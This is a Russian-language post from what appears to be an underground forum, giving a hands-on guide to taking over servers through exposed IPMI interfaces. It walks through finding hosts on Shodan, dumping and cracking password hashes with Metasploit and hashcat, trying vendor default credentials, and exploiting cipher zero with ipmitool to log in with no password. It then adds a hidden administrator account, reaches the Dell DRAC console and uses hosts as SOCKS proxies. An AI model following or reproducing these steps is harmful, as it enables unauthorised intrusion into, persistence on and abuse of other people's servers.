• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Получение доступов через IPMI

Parzival

Местный
Сообщения
80
Реакции
216
0 руб.
В статье будут перечислены известные методы получения доступа к IPMI, который, несмотря на распространенность, является относительно редким вектором получения SSH-шеллов, а также интересных доступов (в случае возможности взаимодействия с удаленным терминалом).
Как вы уже знаете из Wiki: IPMI (от англ. Intelligent Platform Management Interface) — интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы.

Стоит сделать ремарку, что доступ по SSH не является обязательным атрибутом каждого такого сервера с IPMI. Где-то, в довесок к IPMI, существует веб-интерфейс (иногда на нестандартных портах) для управления сервером и взаимодействия с терминалом, где-то может обнаружиться VNC-сервер, а где-то все сразу. Но о нюансах чуть позже, сначала опишем способы получения доступа к IPMI.

Итак, берем, например, Shodan, регистрируем учетную запись (необходимо для поиска по нашим критериям) и ищем по следующему запросу:

Код

port:623




Именно этот порт используется IPMI по умолчанию. Но Shodan кто только не смотрит, поэтому рекомендую взять masscan или zmap и просканировать интересующие диапазоны самостоятельно. Дополнительную информацию по массовому сканированию можно прочитать в одной из моих прошлых статей.
Собрали информацию из Shodan, просканировали нужные сети и получили список адресов, где открыт 623 порт. Что теперь?
Теперь нам понадобится Metasploit Framework или Nmap, чтобы просканировать список адресов на так называемую уязвимость Cipher zero, а также попробовать сдампить хэши пользователей IPMI (для взаимодействия с интерфейсом возможно добавить несколько пользователей с разными правами).
В Metasploit Framework нам понадобятся следующие модули:

Код

auxiliary/scanner/ipmi/ipmi_cipher_zero
auxiliary/scanner/ipmi/ipmi_dumphashes


В Nmap NSE-скрипты:

Код

ipmi-cipher-zero


Скрипт для сбора хэшей в Nmap на данный момент отсутствует, зато присутствует полезный скрипт для простого подбора учетных данных:

Код

ipmi-brute


Раз уж речь зашла о брутфорсе, то перечислим основные комбинации, которые используются производителями по умолчанию (они присутствуют в стандартных словарях Metasploit Framework):

Код

root:calvin
USERID:PASSW0RD
admin:admin
ADMIN:ADMIN
root:changeme


Также можно попробовать добавить к этому списку данные, которые использовались ботнетом Mirai (https://github.com/tennc/fuzzdb/blob/master/wordlists-user-passwd/Mirai-name-pwd/name-pwd.list), вдруг какие-нибудь не слишком известные производители используют их не только для IoT, а еще и для IPMI.

Давайте возьмем какой-нибудь хост и попробуем проверить его на уязвимость, а также получить хэши паролей для стандартных учетных записей.

Код

use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS xxx.xxx.xxx.xxx
run




Я поменял количество потоков, т.к. сканирую только 1 хост. Как видите - уязвимость для моего узла не была обнаружена. Что ж, бывает. Теперь попробуем получить хэши:

Код

use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS xxx.xxx.xxx.xxx
run




Нам удалось получить хэши. Хэши можно попытаться сбрутить с помощью John the Ripper или hashcat (-m 7300, IPMI2 RAKP HMAC-SHA1). Брут по rockyou не удался, поэтому я перешел к очередному хосту из выдачи Shodan, получил хэши и сразу же пароль (Metasploit в процессе дампа проверяет некоторые слабые пароли).



Проверим пароль с помощью утилиты ipmitool:
Код

ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 chassis status
ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 user list




Доступ к IPMI получен. Но что же с уязвимостью cipher zero? Давайте проверим данный хост (хотя смысла в этом нет, т.к. мы уже получили пароль) и на нее тоже. Вдруг нам повезет.



Оказывается, он также подвержен данной уязвимости. В таком случае, если бы мы установили этот факт первее, то вышеперечисленные команды можно было бы выполнить с произвольным паролем и принудительным указанием отсутствия шифрования. Пробуем:
Код

ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' chassis status




Команда успешно отрабатывает. В случае наличия данной уязвимости может потребоваться добавить нового пользователя, чтобы подключаться к другим сервисам системы. Это можно сделать следующим образом:

Код

ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set name 4 user123
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set password 4 1234567890
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 privilege=4
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 link=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 ipmi=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user enable 4


В примере пользователь добавляется в 4 слот, проверьте (команда user list), может быть пользователь в данном слоте уже существует.

Просканируем прочие открытые порты на данном IP, самые банальные: 22, 80, 443, 5900. Первые 3 оказываются открытыми. Начнем с 80, 443. Открываем в браузере и видим стандартный интерфейс Dell DRAC.



Попробуем зайти под учетной записью root.



Успешно зашли и теперь можем, например, выключить сервер или получить доступ к терминалу.



Перешел на виртуальную машину с Windows т.к. используется Java-клиент.



Вуаля, у нас есть доступ к консоли, причем вход под пользователем произведен. В данном случае нам немного повезло, многие вендоры выпускают проприетарные клиенты в виде нативных приложений, которые приходится дополнительно устанавливать, чтобы получить подобный доступ.

Теперь попробуем подключиться по SSH.



Удачно, но наблюдаем доступ к урезанному терминалу, который используется для управления Dell DRAC. До этого у нас был доступ к самой системе, которая установлена на хосте. Кстати, если возникнет проблема подключения по SSH с ошибкой вроде:

Код

no matching cipher found


То попробуйте подключиться, явно указав необходимые алгоритмы, иногда срабатывает, например:

Код

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oCiphers=3des-cbc [email protected]


Урезанность доступа по SSH варьируется, но как минимум, у нас есть возможность использовать систему в качестве SOCKS-прокси, что уже неплохо. Причем автоматизация процесса не составляет большой проблемы. Вдумчивое ручное изучение доступов может иногда привести в интересные сети или позволит немного заработать на HackerOne или Bugcrowd.
 
Сверху Снизу